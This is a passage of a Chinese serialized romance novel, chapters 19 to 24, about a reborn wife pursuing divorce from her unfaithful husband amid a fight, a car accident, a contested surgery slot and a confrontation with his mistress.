这是令宋南伊没有想到的。
“你如果帮我打这个官司,你和霍时序的情分可就到此为止了。”她希望他考虑清楚。
陆为谦并未退缩。
唇角扬起一抹复杂的弧度,“不瞒你说,其实,时序的很多行为,我也觉得不妥,我也跟他讲过很多次,你知道的,他这个人很固执,如果你觉得婚姻对你而言,失去了本来的意义,那么我来帮你,摆脱这个困境。”
他很真诚。
但她仍然不敢轻易答应。
“我……需要考虑一下。”
“好。”
……
咖啡厅外。
尊贵的劳斯莱斯车里,修长的手指伸出车窗外面,轻弹了两下烟灰。
霍时序已经在这儿坐了很久。
盯着靠窗的位置,也盯了许久。
他的太太,今天打扮得很端庄得体,微卷的大波浪,精致的妆容,谈吐和喝咖啡的动作,都透着致命的吸引力。
她很有女性的魅力,从来都是。
陆为谦看向宋南伊的眼神,很专注。
作为从小一起长大的朋友,其实很早的时候,他就知道陆为谦喜欢宋南伊。
只是他的个性与自己不同。
喜欢搞暗恋那一套。
在霍时序追求宋南伊的时候,他总是远远地望着。
不争取,也不表白。
霍时序有一次喝得半醉不醉的时候问陆为谦,“你是不是喜欢宋南伊?你跟我说实话,我不会计较的?”
陆为谦没回答。
而是仰头干了一杯,很遗憾地丢了两个字,“扯淡。”
那种不甘和错过,看得霍时序心里,百抓千挠的。
男人最了解男人。
这么多年来,他连个女朋友都没有,不就是心里还放不下宋南伊。
越是这样想。
霍时序心里越是不舒服,他将吸了一半的烟丢出车外,拿起手机,给宋南伊打了过去。
他就那么盯着她看。
她没接,甚至,还把手机关了机。
霍时序恼了。
推开车门下来,重重的甩上,大步往咖啡厅里走。
宋南伊看到他时。
他的拳头已经挥在了陆为谦的脸上。
桌子,椅子,咖啡杯,蛋糕
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碟,噼里啪啦地碎了一地。
咖啡厅里的客人,吓得尖叫。
宋南伊也被吓坏了。
这是她第一次见霍时序**,出手还么重。
“霍时序,你给我住手。”
店员们也纷纷过来,拉了好一会儿,才将两个男人拉开。
生怕出人命,有人偷偷报了警。
霍时序的拳头很硬,打得陆为谦唇角冒血。
他头有点晕。
刚刚磕到了桌角,额角撕了条口子。
“啊……你受伤了。”宋南伊赶紧拿了手帕,替陆为谦捂住冒血的伤口,“陆律师,先去医院处理一下伤口吧。”
“嗯。”
宋南伊扶着陆为谦往外走。
霍时序扣住了她的胳膊,命令,“你给我留下。”
“放开。”宋南伊不知道霍时序发什么疯,“霍时序,别在这丢人了,赶紧回去吧。”
宋南伊开车送陆为谦去医院,处理伤口。
霍时序失力般的,坐到了歪七扭八的椅子上。
苏语安走过来,满眼的心疼,将他的大手抬起来看了又看,“时序哥,你看你,**怎么还把自己打伤了呢。”
她拿了手帕,轻轻地帮他把出血的手掌包起来。
“南伊姐也太不懂事了,不管你,倒是先带陆律师去了医院,时序哥,很疼吧?”
苏语安轻轻地吹着他的大手。
他望着女人的小脸,情绪翻涌。
那种怜惜和温暖,是宋南伊不曾给过他的。
……
医院里。
陆为谦的伤口已经处理完。
两人沉默着,不知道该如何聊刚刚发生的事情。
“刚刚……”
两人几乎同时出声。
有点尴尬。
“刚刚,时序可能是误会什么了,你别说,我很多年没挨他拳头了,年纪大了,还有些吃不消了。”
陆为谦用开玩笑的语气,想让这件事情,不那么沉重。
可他们都太了解霍时序。
这哪是简单的误会。
一定是认为,她和陆为谦发生了什么。
无论是情感上,还是身体上。
这时,苏语安搀着霍时序也走了进来。
他眼眸很冷的落到二人身上。
苏语安当面指责宋南伊,做得太过分,“南伊姐,你还真是分不清里外人了,你没看到时序哥也伤得这么重吗?难道你一点都不心疼他?到底谁才是你的老公啊?”
第20章 他按什么心思,我哪知道
说完,苏语安和霍时序去了清创室。
宋南伊努力的克制着自己的情绪,深深呼吸了两口。
“陆律师,我考虑好了,还是请你来帮我打离婚官司吧,我会让连芃,把之前整理的资料发给你,除了我原来主张的,我还要加一条。”
陆为谦看着她,“你说。”
“追回霍时序在婚内,送给苏语安的所有礼物,包括但不仅限于转账汇款,珠宝,房子,车子之类。”
宋南伊在离婚这事上,没犯糊涂。
她不能便宜了苏语安。
“好。”陆为谦答应下来。
霍时序出来时。
只有宋南伊一个人,在外面坐着。
不知道是因为她在等他,还是陆为谦离开,霍时序的脸色总算缓和了一些。
宋南伊抬眸看他。
苏语安则看向了她,想说些什么,“南伊姐……”
“语安,你先回去吧,我和南伊有话要说。”
苏语安本想拿这事。
再借机发挥几句。
霍时序既然发了话,她自然是乖乖的听,“知道了,时序哥,那我就先回去了。”
医院的走廊上很安静。
他弯身坐到她身旁,特意将受了伤的手,放到她视线接触到的地方,“他呢?”
“走了。”她说。
“心疼坏了吧?”他扭过脸,看向她。
宋南伊眉心拧起。
前世,霍时序虽然爱吃醋,但说话做事,会考虑她的感受。
现在,不仅学会**,还学会阴阳人,讽刺人了。
“霍时序,你有意思吗?”宋南伊指向苏语安离开的地方,“你天天带着把苏语安带在身边,我说什么了?你就算不信我,难道你还不相信你从小一起长大的兄弟吗?”
“他?”霍时序轻笑,后背靠在墙壁上,“我哪知道,他按的什么心思。”
说到底还是怀疑。
她不想解释。
他越误会,她的婚离得越快,这从某个方面来说,是好事。
沉默良久。
宋南伊看了眼时间。
不早了。
刚要起身,一个陌生的电话打了进来。
“喂?”
“你是宋星言的姐姐吗?他出车祸了,你赶紧来江城医院。”手机那头是陌生的声音。
宋南伊心脏被攥住,震惊的眼眸瞪大,“什么?他伤得怎么样?有没有生命危险?”
“别问了,先过来再说。”
手机挂断了。
宋南伊颤着指尖,将手机塞进包里,拔腿就跑。
霍时序刚要追过去。
他的手机也响了起来。
“喂,语安?”
“时序哥,我,我被人撞了,我现在好痛,你快来江城医院,快点……”苏语安的声音虚弱。
……
江城医院。
宋南伊到了医院,才知道宋星言出的车祸是三车撞到一起。
一辆抢黄灯的渣土车,苏语安的共享电动车,还有宋星言的自行车。
至于当时的具体情况。
宋南伊并不清楚。
但是宋星言伤得很重,整条腿都是血。
她害怕地抓着医生,溃不成军,“他是不是伤到腿了?情况怎么样?会不会截肢?他还伤到哪儿了?有没生命危险?医生,医生,你告诉我……”
“还在抢救,具体情况现在还不知道。”
宋南伊失去主张。
弟弟还那么小,他的人生还没有开始,她祈祷着,不要出事,千万不要出事。
经过几个小时的抢救。
宋星言总算是捡回了条命。
除了全身多处骨折,最要命的是他伤到了腰椎,导致他下半身现在的状态非常的不好。
医生告诉宋南伊,宋星言需要做一个精密的手术,日后才有可能站起来。
看着病床上,全身几乎缠满纱布的弟弟。
宋南伊的心都要碎了。
“都说了你多少次了,不要自己骑自行车上下学,你就是不听。”她握着弟弟的手,心疼的眼泪就没停过,“你到底什么时候才能听话啊。”
病床上的人还在昏迷。
后来警察过来了,宋南伊才得知了车祸的具体情况。
这场意外中,苏语安也受了伤。
还差一点被碾到渣土车的车轮底下,霍时序应该是心疼坏了,一直在陪着她。
宋南伊在医院里陪了一天一夜。
眼睛几乎都没有眨。
这期间,霍时序都没有过来看一眼。
宋星言醒过来,还是很虚弱,看到宋南伊,先说对不起,“姐,我又闯祸了,你别跟爸妈讲,他们会担心的。”
宋南伊不忍心责怪他。
那辆闯黄
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灯的渣土车,撞上了抢在红灯最后一秒过路口的苏语安,苏语安的共享电动车摔出去,把宋星言撞倒。
不巧的是,宋星言被撞倒后,跌进了路边施工的地方,才伤到了腿和腰。
他是整个车祸中,最无辜的那一个。
也是,本应该伤得最轻的人,最后,却成了最重的那一个。
“事情都发生了,别想太多,先安心把伤养好。”
宋星言除了抱歉还有自责,“如果那天晚上,我不走那条路,也不会惹这么多的麻烦,姐,我以后不骑自行车上下学了,我住校,你周末来接我,行吗?”
宋南伊揉了揉他的脑袋。
挤出一抹心疼的笑,“好,别胡思乱想的。”
宋星言点头,他想动了动身子,发现腰以下没有知觉。
顿时慌了。
“姐,我是不是没有腿了……”他嗖的掀开被子,看到腿还在,这才放下心来,“……还好,还在,那为什么我感受不到它?姐,我是不是残废了?我以后是不是,不能站起来了,是不是姐,你告诉我,是不是?”
宋星言很激动。
他无法想象,以后不能在篮球场上挥汗如雨。
不能跑半马,不能去游泳,不能去做所有,他喜欢的事情。
那样,他不如**。
“不是的,不是的。”宋南伊抱住了宋星言,轻轻的安抚着,“你的腿是可以治的,医生说只是伤到了腰椎,需要做一个小小的手术,就能恢复,所以,你现在要好好的养伤,把身体养好,才能尽快手术。”
“真的吗姐?”宋星言含泪的眼中,又有了希望,“你没有骗我?”
“姐姐骗过你吗?”她抬手擦了擦男孩脸上的汗珠和泪痕,温柔地笑着,“都多大了,还哭鼻子,丢不丢?”
男孩不好意思地笑了。
另外的病房里。
苏语安一直昏迷着,她紧紧地抓着霍时序的手,不肯松开。
霍时序让助理江淮在病房里陪着。
自己去了医生办公室,了解苏语安的病情。
“病人伤到了腰,如果有条件的话,可以请国外这方面的专家凯文医生来做手术,不过……”医生想到了病情比较重的宋星言,“……一起送来医院的那个小男孩,其实更需要精细的手术,否则……”
第21章 在破碎中绝望
“否则什么?医生?”霍时序眉心皱着。
医生推了推架在鼻梁上的眼镜,说,“否则他的腿将来,有可能站不起来,但……”
“医生,你能不能一次把话讲清楚?”
医生神色凝重,很是惋惜地说,“……凯文医生有个规矩,一年只做三十台手术,我看了他今年的手术排期,已经做了二十九台,如果请他来做男孩的这台手术,恢复率还是蛮高的,如果凯文医生答应给苏小姐做手术的话,男孩大概率失去这次专家手术的机会。”
医生并不知道霍时序和宋星言的关系。
作为医生,他认为,宋星言更需要这次手术的机会。
同样,作为医生,他深刻地知道在治病这方面,肯定谁有条件,谁享受最好的医疗机会。
不由得又惋惜了句,“男孩的年纪还小,要真的因为不能由这么好的专家手术的话,极有可能中下残疾,他的家人心里一定很痛苦。”
“别的医生救不了吗?”霍时序问。
医生不好下论断,以他从医几十年的经验,只有凯文医生才是救命的稻草。
“看他的命吧。”
……
医生对宋星言病情的解释,也几乎是一模一样的,告诉了宋南伊。
宋南伊不认识这个叫凯文的医生。
整个下午,她都在捧着电脑查询,关于这个医生的所有的讯息。
前世,弟弟没有遇到这种事情。
为什么,她这都重生了,苦难不但在继续,还在加码。
宋南伊找了裴吟。
也找了几个,在医疗口可以帮得上忙的朋友。
但是都不能联系上他本人。
陆为谦不知道听谁说,宋南伊的弟弟车祸住院。
拎着礼品来医院里看望。
“其他的伤还好说,就是腰……需要做一个很精密的手术,才能恢复腿部的功能,目前来说,只能先这样养着。”
宋南伊看向抱着书本在读的宋星言。
眼底溢出心疼和迷茫。
陆为谦的视线落到床头那本病例上,拿起来看,“跟医生聊过了吗?什么时候可以手术?”
“还没有联系到医生本人。”宋南伊遗憾地说。
陆为谦抬起眼眸,“什么意思?”
“擅长这类手术的,是名外国专家,他医术精湛,叫凯文医生……”宋南伊现在走投无路,“……我托了很多人,都无法联系得上这位医生,怕是机会渺茫。”
陆为谦对这个人很陌生,但他可以帮着打听一下,“我有一些生活在国外的当事人,或许,我可以帮忙问一下。”
“是吗?那太好了。”宋南伊眼里总算是有了光,“如果可以的话,星言他……”
宋南伊的话音还没有落地,病房的门开了。
苏语安坐着轮椅,自己走了进来。
“南伊姐,我来看看弟弟,我也没想到这次车祸,竟然伤了我们两个,都怪我,要是不骑那个共享单车就好了。”
苏语安上来就是自责。
宋南伊无瑕看她表演。
“星言需要休息,你回去吧。”
“南伊姐,你也别太难过了,车到山前必有路,虽然说凯文医生,不能给弟弟做手术了,咱们还可以找别的专家的,你说对吗?”
宋南伊眉心一紧。
她在说什么?
什么凯文医生就不能过来做手术了?
“什么意思?”
“南伊姐,时序哥已经跟凯文医生商量好了,过两天就给我做手术,他一年只做三十台手术,做了我的手术,弟弟的手术就不能做了,只能另寻专家,不过,你也别气馁,一定有奇迹的。”
苏语安面带微笑。
冲宋星言比了个加油,“弟弟,你要坚持住哦,我看好你哦。”
这时。
霍时序推开病房的门,走了进来。
苏语安仰着小脸,冲他笑,“时序哥,我来看看星言弟弟,他状态还不错呢。”
“你怎么自己跑出来了,先回病房。”
“哦,知道了。”
苏语安自己滑动着轮椅,离开了宋星言的病房。
霍时序来到他的病床前,“星言,感觉怎么样?”
“姐夫,那女的谁啊?”宋星言年纪不大,但他感知力极强,“你跟她是什么关系?为什么你帮她找了凯文医生,来给她手术,难道我们不是最亲近的人吗?我是不是失去了这次手术的机会了?”
霍时序:……
他一时哑口到,无法给出令人信服的解释。
“也……不是。”
“也不是什么?霍时序,你是魔鬼吗?星言还是个孩子,他那么崇拜你,喜欢你,你都干了什么?你在剥夺他站起来的权利……”
宋南伊指尖不受控
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地颤抖。
她根本没有让霍时序帮忙的想法,但他利用自己的人脉,将最好的手术机会给了苏语安。
她是无论如何也不接受的。
绝望,不亚于,上一世,她躺在冰冷的产床上。
她恨。
恨透了霍时序,恨透了苏语安,恨透了世界的不公。
更恨上天对她的折磨。
她想放过他们的。
可他们偏偏不放过她。
宋南伊哭了。
陆为谦抬手扶住了,摇摇欲坠的女人,不解地望向霍时序,“时序,你这么做,确实有点过分了。”
“这跟你又有什么关系?”霍时序攥起陆为谦的领口,把他从宋南伊身旁扯开,“少动手动脚的,她是我老婆。”
“滚,霍时序,你给我滚出去……”
宋南伊将霍时序赶出了病房。
随着门重重地在男人面前关上,他的心也跟着被重重地捶了一下。
霍时序转身回了苏语安的病房。
苏语安看他进来,开心地跟他讲:“时序哥,刚刚医生过来说,凯文医生安排在明天给我手术,我好高兴哦。”
“你不应该跟南伊说这个。”他脸色不算好,有一些责备在里面。
苏语安唇角的笑意收起,眼眶立马红透,“时序哥,你是不是后悔让凯文医生来给我手术了?如果你后悔了,就让凯文医生给星言弟弟手术吧,我没关系的,我还可以坚持。”
苏语安总是善解人意到,令霍时序不忍再去怪她。
“已经约好了,你就安心等手术吧。”霍时序沉声。
他的心情有些烦乱。
准备去吸烟室去抽根烟。
从病房出来,一转身,就看到陆为谦从宋星言的病房里走出来。
四目相对,是道不尽的凉薄和幽暗。
“你是因为南伊要跟你离婚,所以你才联系凯文医生,给苏语安手术?还是说,在你心里,南伊又或是她的家人,都不比上一个萍水相逢的救助对象?”
陆为谦无法理解,霍时序的作法。
明明,宋星言更需要一个好的医生,来挽救他的腿。
霍时序这么做,会让他和宋南伊本就疏远的关系,变成了一道鸿沟。
从而,加剧了感情的破碎。
现在阶段,这并不是明智之举。
“你是不是真的爱上,苏语安了?”
第22章 你也没那么在乎
霍时序很不喜欢陆为谦插手他的家事。
幽暗的眸子,越发的森冷,“你是巴不得我爱上苏语安,好给你腾位置?陆为谦,你觊觎南伊多少年了,别人不知道,我还不知道吗?我告诉你,只要我一天不离,你就是个小三。”
霍时序的这些不着调的话,陆为谦理解为是赌气。
并没有多少实质性的意思。
“不管你相不相信,我从心里还是希望,你和南伊可以好好的,当年,你追求她付出了那么多,何必为了一个不相干的女人……”
陆为谦的话还没说完,霍时序就抬手打断,“是不是做律师时间长了,就爱上当救世主了?省省吧,我们的婚姻不需要你来救赎。”
陆为谦动了动唇,想再说什么,终究没再说话,转身离去。
霍时序走到宋星言的病房门口,坐了许久。
……
宋南伊是在苏语安手术当天,见到的凯文医生。
她英文还算不错,一直在跟他的小助理沟通,试图跟凯文医生当面好好谈一下。
但都遭到了拒绝。
医生说,错过了最佳治疗时机,宋星言有可能永远不会站起来。
除了这个凯文医生,她不知道再去哪里找,更可靠的医生……
她决定赌一把。
苏语安手术结束后。
霍时序和凯文医生聊了两句,“还是希望你能加一台手术,钱不是问题。”
“霍先生,凯文医生的规矩是不会打破的,抱歉。”凯文医生的助理,摇了摇头,不希望霍时序再说下去。
凯文医生拍了拍霍时序的肩膀,“手术很成功,你的太太会好起来的。”
霍时序动了动唇,想要重新解释一下,他和苏语安的关系。
又有谁去计较呢。
他快走几步,追上凯文医生,“病人还是个十五六岁的孩子,他还那么年轻,请你……”
凯文医生,顿下脚步,看向霍时序。
反问他,“你很在乎这个病人吗?”
“是。”
“既然如此在乎,为什么不让我先给他做手术呢?霍先生,其实你也没有那么在乎的,不是吗?你只是想两全,可是这个世上啊,尽是遗憾。”
凯文医生笑着,语意深厚。
霍时序心底某处,被刺痛了一下。
……
宋南伊在酒店的大堂,等了差不多三个小时。
才看到凯文医生和他的助理回来。
她急忙走了过去,“凯文医生,我可以耽误你三分钟吗?就三分钟。”
助理刚要伸手拦下她。
凯文医生抬了抬手,看向宋南伊,“你有什么想说的?”
“我想请你为我的弟弟做手术,就是,那个和苏语安一样,伤到腰椎的男孩,可以吗?”
宋南伊好看的眸底,氲满了星星点点的水汽。
她没有人脉,更没有霍时序那样的本事。
但是医者仁心,她相信凯文医生不是冷血的人,“我弟弟的伤比较重,国内没有这样的专家,我不想他年纪轻轻的就只能躺在床上,他还有大把的青春和未来,凯文医生,求你的破一下例吧,好吗?”
“这位小姐,你别为难凯文医生了,他刚刚做完手术,很累了,现在需要休息。”
说着,助理开始驱赶宋南伊。
宋南伊不想放弃,她快跑几步,再次将凯文医生拦下,“求你了凯文医生,你是医生,你不会见死不救的,对吗?”
凯文医生笑了笑,“小姐,我不可能打破我自己设立的规矩,这与救死扶伤无关,这是我对我夫人的承诺。”
承诺?
既然是一个重信守诺的人,那一定是一个善良的人。
“凯文医生,您的夫人,一定也不希望一个年轻的小男孩,将来一辈子坐在轮椅上对吗?”
凯文医生摊了摊手,“想打动我,不是那么容易的。”
“我愿意试试。”
……
没人知道,宋南伊用什么样的故事,说服了凯文医生,同意了为宋星言手术。
手术需要去国外进行。
要出国,就不得告诉父母,宋星言出车祸这事。
宋家父母震惊过后,也心疼宋南伊独自扛起这大的事情。
尤其是宋知令。
看着女儿,从一个天天只会撒娇,永远不知道愁为何滋味的小丫头,一夜之间,成了扛起家庭琐碎和更多责任的大姐。
他心里其实挺不是滋味的。
男人变了心,成长的却是女人。<
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br>他的女儿,本不应该承受这些的。
宋南伊独自带着宋星言去了国外。
这一来一回,再加上手术,用去了一个月的时间。
所幸,宋星言的手术很成功。
回到国内,只要坚持复健,很快就能恢复成正常人的样子。
心病终于放下。
宋南伊拖着一身的疲惫,回了趟她和霍时序的家。
一进门。
公婆,霍时序都在,像是特意在等她。
她微微愣了一下,喊人,“爸,妈。”
“南伊,你回来之前,我已经收拾过时序了,这段时间,他荒唐得我们都快不认识他了。”
霍明达叹了口气,“听说,星言出了事,时序他非但没有帮忙,还把手术的机会,给了别人,我听到这事后,恨不得一鞭子抽死他。”
“我知道,这段时间,你受了很多的委屈,爸给你做主,日后,要是他再跟那个苏语安纠缠不清,爸就家法伺候,你也消消气,看在爸的面子上,给他一个机会,如果他再犯糊涂,你再跟他离婚。”
宋南伊没说话。
她对婚姻的失望,由上一世,累积到了这一世。
无论谁说,都不会改变主意。
孙爱芸看宋南伊一直沉默着,便把自己手腕上,价值不菲的,烟紫色的冰种翡翠手镯,套到了她的手腕上。
“南伊,妈知道你是一个大气的孩子,你是霍家明媒正娶来的,这霍家的孙子啊,必需由你来生,什么苏语安,张语安,王语安的,妈都不承认,妈只认你这个儿媳妇。”
手腕上一沉。
宋南伊惊讶于孙爱芸的大方。
唏嘘。
前世,她嫁进霍家三年,孙爱芸连个豆粒大的珠宝都没给过她。
这是下了血本了。
他们和霍时序一样,在意的始终是霍家的脸面。
毕竟,这离婚可不是一件体面的事情,搞不好还会影响霍氏的股价。
宋南伊的视线落到了,单独坐在一旁的男人面上。
他脸色很冷,腮上的指痕明显。
她觉得挺解气的。
“南伊,你就当时序他是一条狗,没事就多给他几块骨头,在家里喂饱了,他就不往外跑了,你说是不是?”
第23章 撒手就没
孙爱芸这么形容霍时序。
宋南伊很难忍住笑。
霍时序的脸已经黑得如滴了墨。
孙爱芸看了儿子一眼,为了能留住儿媳妇,她就豁出去了。
“刚刚妈替你问过他了,他没跟那个苏语安搞上床,你放心,以后他也不敢,妈替你把关,他要敢,让你爸打断他的腿。”
宋南伊额角飞过乌鸦……
这怎么她重生了,婆婆也改了性子了,前世她可是有万般的瞧不上自己。
天大地大,霍家的利益最大。
她倒也能理解。
孙爱芸转过脸来,继续斥责自己的儿子,“当初也不知道是谁,说非南伊不娶,不让你娶,你就去当和尚,自己追来的,就看紧喽了,你不要,可有的是等着要的,脑子要搞搞清楚。”
尽管孙爱芸不喜欢宋南伊。
但她眼不瞎。
宋南伊的漂亮,在江城是算得上数一数二的,而且家世也不错。
二人又没有孩子,这属于撒手就没型。
霍时序要再找个这样的,门都没有。
“时序,以后不管南伊遇到什么问题,你都要以她的事情为主,要是再敢发生星言这样的事情,我就不认你这个儿子,你好好跟南伊过日子,我跟你妈,我们就回去了。”
霍明达沉声和孙爱芸起身。
宋南伊将他们送到门口,“爸,妈,你们路上小心。”
“南伊啊,你就别跟他计较了,我想以后,他不敢再做伤害你的事情。”霍明达又宽慰了句,“实在不行啊,就让你妈在你们这儿住上段时间,帮你盯着他,我看他还敢。”
“不,不用了爸。”宋南伊尴尬地咧嘴。
“那我们走了,夫妻之间最重要的是沟通,你们好好聊聊,有些误会就解开了。”
“知道了。”
送走公婆。
宋南伊深呼吸了两口。
回到客厅。
气氛有些凝滞。
她和霍时序本就没什么可说的,拿了包,上楼,回房间,准备洗个澡睡觉。
这一个月,她的精力都在宋星言的病上。
**,给她发过好几封邮件,她都没来得及看。
打开手机。
邮件里,都是**对苏语安这段时间的跟踪和调查。
她频繁地出入高档商场,刷卡消费的姿势很潇洒,宋南伊注意到她手上的卡,是银行为霍时序订制的黑金卡,一半黑,一半透明,很好认。
这些都不重要。
离婚时,她会一并追回。
让她享受当几天富人的日子,也不白跟霍时序一回。
有几张照片,是苏语安消失在了一个封闭式的小区,侦探进不去,只拍了一张小区大门的照片给宋南伊。
名字叫,福兴花园。
并不是霍时序给她买的那个小区。
宋南伊纳闷之际。
霍时序推门进来,她迅速并掉手机屏幕,反扣在了桌子上。
“有事?”
她抬眸看他。
重生以来,她基本没认真看过他这张脸。
霍时序的脸部轮廓非常的立体精致,他外公的父亲是白人血统,他也遗传了一部分。
尤其是鼻梁,高耸坚挺。
过分完美的男人,通常也不安分,懂得利用自己的优势,得到自己想要的东西。
宋南伊到现在都没有想明白。
苏语安到底是哪一点吸引了他。
说漂亮,她不及自己十分之一,论家世,自称孤儿谈不上家世。
仅凭那一说话就红了的眼睛,还是那柔软酥骨的声音?
应该是,王八瞧绿豆,对了眼了吧。
毕竟,爱是不讲条件的。
他注意到了她异样的眼神,不自然地回了句,“我不能房间睡觉了?”
“哦。”她重新拿起手机,关闭了邮件的页面,有意似无意地问了句,“你和苏语安发展到什么地步了?求婚了吗?”
“你还在怪我?”他凝眉。
宋南伊嗤笑,“怪你什么?”
“怪我没有把手术的机会,让给星言。”
“你还挺有自知之明的。”她放下无聊的手机,眼睛直视着他,“霍时序,你爸妈不在这儿,我也不跟你兜圈子了,我不是怪你,我是恨你,恨不得弄死你。”
“你没必要恨我,是你误会太深。”他轻描淡写,但并没有忽略宋南伊浓厚的敌意,“你总是带着有色眼镜,看什么都是带颜色的。”
无耻的男人,通常就是这副,让人恶心的嘴脸。
宋南伊厌烦又鄙夷地勾了下唇,“是啊,我哪里比得上,你
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那娇柔单纯的小白花,否则,霍总也不会拿黑金卡给她,让她无底线地刷,不是吗?”
“你怎么知道?”
他的惊讶看向宋南伊。
宋南伊反问,“我为什么不能知道?你赚的每一分钱,都是我们夫妻的共同财产,我想知道钱的去向,这很过分吗?”
他哑口。
宋南伊从霍时序的眼里,看到了深深的反感。
他没有想到,她会用这样的话怼他。
皮笑肉不笑地咧嘴,“我只是让她去买一些生活用品而已,这你也要计较?”
“既然这么在乎,就赶紧给她一个家吧,小姑娘家家的,总是给别人当小三,名声也不好听。”
宋南伊实在是累了。
不想跟霍时序打嘴官司。
打了个哈欠,关了一侧的床头灯,直接躺下睡觉。
没多久,她就听到了重重的关门声。
再后面,就是车子开出别墅的声音。
宋南伊望着那束刺目的灯光,渐渐消失在夜空当中,唇角微哂。
霍时序应该是去找苏语安了。
他在变本加厉地羞辱这段婚姻,那她也不需要给他留太多的脸面。
隔天一大早。
宋南伊就约了陆为谦见面。
“我改主意了。”她说。
陆为谦:“说说看。”
“除了拿回属于我的,属于我们宋家的财产,以及追回他为苏语安花出的每分钱,我还要霍时序名下,霍氏股份的3%。”
陆为谦眉心微拧,“3%,恐怕很难。”
宋南伊知道,这3%代表着什么。
她更知道,想要拿到很难。
在霍时序没有同意离婚的情况下,更不会由着她想要什么,就给什么。
所以……
下一步,她就激化现有的矛盾,让霍时序主动提起离婚。
“帮我拟离婚协议书吧,也许,他为了娶苏语安,10%,20%,都舍得呢?”宋南伊笑着说。
作为宋南伊的代理律师。
陆为谦认真记下她的要求,“好的,我会马上拟一份离婚协议书给你。”
“陆律师,如果我有霍时序出轨的证据,在财产分割上,是不是会有一些优势?”
陆为谦放下笔,认真地回她,“会的。”
第24章 不爱便是尸和警方
“那主张分割他名下的股权,也是正当合理的要求,对吗?”
陆为谦点头,“是。”
“什么时候可以把离婚协议书,给我?”
“明天。”
“好。”
隔天一大早。
陆为谦命他的助理,亲自给宋南伊送来了起草好的离婚协议书。
陆为谦不愧为金牌律师。
起草的内容很详细,也很周全。
宋南伊很满意。
拿着离婚协议书,她按照**给她的信息,去霍时序安置苏语安的地方。
怕自己吃亏。
路上,她给裴吟打了个电话。
让她一会也过去。
这套房子,宋南伊有钥匙。
她轻而易举地就进了门。
“你……南伊姐,你,怎么……进来的?”正在玩插花的女孩,发懵中又带着戒备,“你过来,时序哥知道吗?”
“他需要知道吗?”宋南伊走到她的身旁,抬手拿起了刚插好花的花瓶,细细观摩后,手一撒,轻轻地丢了出去。
花瓶碎裂的声音,掺着苏语安不安的震惊,格外刺耳。
“南伊姐,你干嘛要摔我的花瓶啊?”苏语安脸色明显有了变化。
宋南伊没理人。
她平静的,看着房间的装饰。
是花了心思的,有很多贵重的瓷器,名人字画。
窗帘是白色的,窗纱是镂空的。
窗台上的杜鹃花,开得正艳,粉粉的,风吹进来,轻轻摇曳着,看起来很温馨。
前世,霍时序把苏语安藏得很紧。
她翻遍了江城,也没有找到。
原来他们的家是这样的。
宋南伊觉得挺讽刺的。
婚姻给女人到底带来了什么?
电视柜上,有一张显眼的十寸合照。
主角是苏语安和霍时序,全身照,没有亲密的举动,但两个人笑的都很开心。
宋南伊拿起来看。
别说,还挺般配的。
只是,照片上的笑容太刺眼,她看不得这些东西,随手就摔了出去。
相框上的玻璃,碎了。
像是两张人脸,也碎了。
苏语安再也无法忍受,失控指责,“宋南伊,你是不疯了?这是我的家,你凭什么跑到我家里打砸?你这是犯法的,你知不知道?”
“你的家?房产证是你的名字吗?拿出来我看看。”宋南伊戏谑地勾着唇,“苏语安,如果不是你一再地挑衅我,其实,这房子我送你也可以。”
“什,什么挑衅你?你把话说清楚。”
“你让星言差点失去站起来的机会,你就罪该万死。”宋南伊反手就给了苏语安一个耳光,“别以为有霍时序护着你,就可以为所欲为。”
宋南伊用了全部的力气。
苏语安的半边脸,瞬间又红又肿。
她好半天,才缓过神来,“是霍时序让凯文医生给我做手术的,你有本事,去找霍时序,欺负弱小,算什么本事?”
话音刚落。
宋南伊抬手,又给苏语安一个巴掌,“我就欺负你了,怎样?霍时序在这儿,我该打你,还是要打你。”
苏语安要疯了。
当即给霍时序打去了电话哭诉。
宋南伊听到手机那头的男人,勃然大怒。
想必不用半个小时,他就能火急火燎的出现自己面前。
这时。
裴吟先到了。
“南伊,什么情况?”她看向脸被扇肿的苏语安,明白了,“打小**来了?不早说。她还手了吗?你有没有被欺负?看我不收拾她。”
裴吟性子暴躁。
不分青红皂白。
撸起袖子来,就要干苏语安。
苏语安吓得连退三步,“你干什么?你还要**?**是犯法的,我真的会报警的。”
“你一个抢男人的小**,不该打吗?打你是轻的,就应该扒光你的衣服,去游街,让大家都看看,是什么样的妈生出这么不要脸的女儿。”
苏语安接连退到墙根。
在裴吟扬起手来时,她吓得抱住了头。
“给我住手。”霍时序赶来了。
他脸色阴沉,令人不寒而栗。
室内满地的狼藉,躲在角落里哭泣的女人,他的眼底酝酿起了令人生畏的风暴……
宋南伊赶紧,将裴吟护在了自己的身后。
苏语安看到霍时序来了,顿时满脸的泪水,委屈无比,“时序哥,你总算来了,你要再不来,我就**了。”
女孩脸上的指痕,深深地刺痛了男人的眼睛。
他没想到宋南伊出手这么重。
失去理智般的,抬手就
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要给宋南伊一个巴掌。
裴吟眼疾手快,重重地抓住了男人的手腕,“霍时序,**是疯了吧?你为了这个**,要打南伊?”
“是我疯了,还是你们疯了?组团来**?谁给你们的胆子?”
霍时序撤回自己的大手。
转身快步走到苏语安的面前,将她扶了起来。
女孩顺势靠在他的怀里,唇角勾起一抹挑衅,似乎在说,宋南伊你完蛋了。
裴吟看得生气。
指着苏语安劈头盖脸地骂,“你这个**,有爹生没娘教的,你再给我装,我就撕了你。”
“裴吟,给你脸了是不是?”霍时序吼着。
“霍时序,你追求南伊七年,结婚刚刚三年,你就移情别恋,还在外面金屋藏娇,你好得不学,只学会背叛了是不是?你裤裆那玩意,要实在管不住,就去切了,妈的,恶心人。”
裴吟气疯了。
骂人的话,张口就来。
霍时序竟然为了苏语安,要打宋南伊。
这哪是人干的事情?
这**就是畜生。
霍时序震怒未消,裴吟的话令他十分不快,“宋南伊,你就是被这种朋友带坏的,你看看你现在像个什么样子,简直就是泼妇,你简直就是丢宋家的脸。”
“你心疼坏了吧?”
宋南伊并不难过,他刚刚冲动要打她。
前世,为了苏语安,他都能要自己的命。
这点算什么。
“霍时序,小三就是这样的结局,不是被打,就是在被打的路上,除非你二十四小时将她带在身边。”
他瞪着她,“宋南伊,我看你真的是疯了,疯得不轻。”
“是吗?”宋南伊笑了,心如死灰般的脸上,却是绝美的容颜,“怎么着,准备下一步将我送进疯人院?”
宋南伊笑得越发清冷和孤寂。
“爱是沉沦,是冒险,是克制……”她看着霍时序的眼睛,一字一顿地说,“……不爱是**,是冰柜,是下水道,是精神病院,是尸和警方,对吗?”
